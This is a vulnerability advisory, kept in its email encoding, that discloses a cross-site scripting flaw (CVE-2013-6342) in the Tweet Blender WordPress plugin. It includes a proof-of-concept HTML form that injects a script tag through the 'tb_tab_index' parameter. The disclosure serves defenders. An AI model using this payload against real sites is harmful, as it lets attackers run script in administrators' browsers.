Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Tweet Bl=
ender Wordpress Plugin, which can be exploited to perform Cross-Site Script=
ing (XSS) attacks.
1) Cross-Site Scripting (XSS) in Tweet Blender Wordpress Plugin: CVE-2013-6=
342
1.1 The vulnerability exists due to insufficient sanitisation of user-suppl=
ied data in "tb_tab_index" HTTP POST parameter passed to "/wp-admin/options=
-general.php" script. A remote attacker can trick a logged-in administrator=
to open a specially crafted link and execute arbitrary HTML and script cod=
e in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay "imuniweb" word:
<form action=3D"http://[host]/wp-admin/options-general.php?page=3Dtweet-ble=
nder/admin-page.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"tb_tab_index" value=3D'</script><script>ale=
rt("immuniweb");</script>'>
<input type=3D"submit" id=3D"btn">
</form>
